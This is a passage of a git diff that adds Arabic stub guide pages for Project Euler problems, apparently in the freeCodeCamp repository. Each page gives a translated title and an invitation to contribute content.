+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
new file mode 100644
index 0000000000..abc57e996c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd Triplets
+localeTitle: الغريب ثلاثة توائم
+---
+## المشكلة 242: Tripled الفردية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
new file mode 100644
index 0000000000..c5439e319c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Resilience
+localeTitle: المرونة
+---
+## المشكلة 243: المرونة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
new file mode 100644
index 0000000000..2cd9383c36
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
@@ -0,0 +1,9 @@
+---
+title: Sliders
+localeTitle: المتزلجون
+---
+## مشكلة 244: المتزلجون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
new file mode 100644
index 0000000000..f7578ad9e2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Coresilience
+localeTitle: Coresilience
+---
+## مشكلة 245: Coresilience
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
new file mode 100644
index 0000000000..e4d5177bca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Tangents to an ellipse
+localeTitle: Tangents إلى القطع الناقص
+---
+## المشكلة 246: Tangents إلى القطع الناقص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
new file mode 100644
index 0000000000..393f6b8568
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Squares under a hyperbola
+localeTitle: الساحات تحت الزائد
+---
+## المشكلة 247: مربعات تحت القطع الزائد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
new file mode 100644
index 0000000000..a07ccfc0ac
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which Euler’s totient function equals 13!
+localeTitle: الأرقام التي تساوي الدالة Euler للصيغ 13 منها!
+---
+## المشكلة 248: الأرقام التي تساوي الدالة Euler لها 13!
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
new file mode 100644
index 0000000000..3fce81099b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime Subset Sums
+localeTitle: Prime Subset Sums
+---
+## مشكلة 249: Prime Subset Sums
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
new file mode 100644
index 0000000000..e908c29989
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
@@ -0,0 +1,9 @@
+---
+title: 1000-digit Fibonacci number
+localeTitle: رقم فيبوناتشي مكون من 1000 رقم
+---
+## المشكلة 25: رقم فيبوناتشي مكون من 1000 رقم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
new file mode 100644
index 0000000000..8a967c1628
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
@@ -0,0 +1,9 @@
+---
+title: '250250'
+localeTitle: '250250'
+---
+## مشكلة 250: 250250
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
new file mode 100644
index 0000000000..ab7f27de2c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Cardano Triplets
+localeTitle: كاردانو ثلاثة توائم
+---
+## مشكلة 251: كاردانو ثلاثة توائم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
new file mode 100644
index 0000000000..afcff9898a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Convex Holes
+localeTitle: محدب ثقوب
+---
+## المشكلة 252: الثقوب المحدبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
new file mode 100644
index 0000000000..cd7a001c11
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
@@ -0,0 +1,9 @@
+---
+title: Tidying up
+localeTitle: يرتب
+---
+## المشكلة 253: الترتيب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
new file mode 100644
index 0000000000..c3d32e4091
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Sums of Digit Factorials
+localeTitle: مبالغ من الأرقام عامل
+---
+## مشكلة 254: مبالغ من أرقام عامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
new file mode 100644
index 0000000000..7bccff94df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Rounded Square Roots
+localeTitle: جذور مربعة دائرية
+---
+## مشكلة 255: جذور مربعة دائرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
new file mode 100644
index 0000000000..2d2ad64b1b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
@@ -0,0 +1,9 @@
+---
+title: Tatami-Free Rooms
+localeTitle: غرف خالية من التاتامي
+---
+## المشكلة 256: غرف خالية من التاتامي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
new file mode 100644
index 0000000000..1b7942512e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisectors
+localeTitle: Angular Bisectors
+---
+## المشكلة 257: علم الأحياء الزاوي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
new file mode 100644
index 0000000000..91a3a11c57
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A lagged Fibonacci sequence
+localeTitle: تسلسل فيبوناتشي متخلف
+---
+## المشكلة 258: تسلسل فيبوناتشي متخلف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
new file mode 100644
index 0000000000..e36862c2e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Reachable Numbers
+localeTitle: أرقام قابلة للوصول
+---
+## مشكلة 259: أرقام قابلة للوصول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
new file mode 100644
index 0000000000..a5d6464018
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles
+localeTitle: دورات متبادلة
+---
+## المشكلة 26: دورات متبادلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
new file mode 100644
index 0000000000..37bfa69f95
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game
+localeTitle: لعبة الحجر
+---
+## المشكلة 260: لعبة الحجر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
new file mode 100644
index 0000000000..2cb08cba72
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Pivotal Square Sums
+localeTitle: مبالغ مربع محورية
+---
+## المشكلة 261: مبالغ مربعة محورية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
new file mode 100644
index 0000000000..08762b9a82
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Mountain Range
+localeTitle: سلسلة جبال
+---
+## المشكلة 262: سلسلة الجبال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
new file mode 100644
index 0000000000..2a3b2f4979
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
@@ -0,0 +1,9 @@
+---
+title: An engineers' dream come true
+localeTitle: تحقق حلم مهندسين
+---
+## المشكلة 263: تحقق حلم مهندسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
new file mode 100644
index 0000000000..86efa87b86
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Centres
+localeTitle: مراكز المثلث
+---
+## المشكلة 264: مراكز المثلث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
new file mode 100644
index 0000000000..a5ff63c43c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Binary Circles
+localeTitle: الدوائر الثنائية
+---
+## المشكلة 265: الدوائر الثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
new file mode 100644
index 0000000000..a6cf02fcc4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo Square Root
+localeTitle: Pseudo Square Root
+---
+## المشكلة 266: Pseudo Square Root
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
new file mode 100644
index 0000000000..76dee5a234
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
@@ -0,0 +1,9 @@
+---
+title: Billionaire
+localeTitle: الملياردير
+---
+## المشكلة 267: الملياردير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
new file mode 100644
index 0000000000..abbb0df94a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting numbers with at least four distinct prime factors less than 100
+localeTitle: عد الأرقام مع أربعة عوامل أولية متميزة على الأقل أقل من 100
+---
+## المشكلة 268: عد الأرقام مع أربعة عوامل أولية متميزة على الأقل أقل من 100
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
new file mode 100644
index 0000000000..31a184f5dc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Polynomials with at least one integer root
+localeTitle: كثيرات الحدود مع جذر صحيح واحد على الأقل
+---
+## المشكلة 269: كثيرات الحدود مع جذر صحيح واحد على الأقل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
new file mode 100644
index 0000000000..28d44788dc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadratic primes
+localeTitle: الأعداد الأولية التربيعية
+---
+## المشكلة 27: الأعداد الأولية التربيعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
new file mode 100644
index 0000000000..7cee72283a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Squares
+localeTitle: قص المربعات
+---
+## مشكلة 270: قطع المربعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
new file mode 100644
index 0000000000..a85a4ec4eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 1
+localeTitle: مكعبات وحدات ، الجزء 1
+---
+## المشكلة 271: مكعبات معيارية ، الجزء 1
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
new file mode 100644
index 0000000000..7b94b3c428
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 2
+localeTitle: مكعبات وحدات ، الجزء 2
+---
+## المشكلة 272: مكعبات معيارية ، الجزء الثاني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
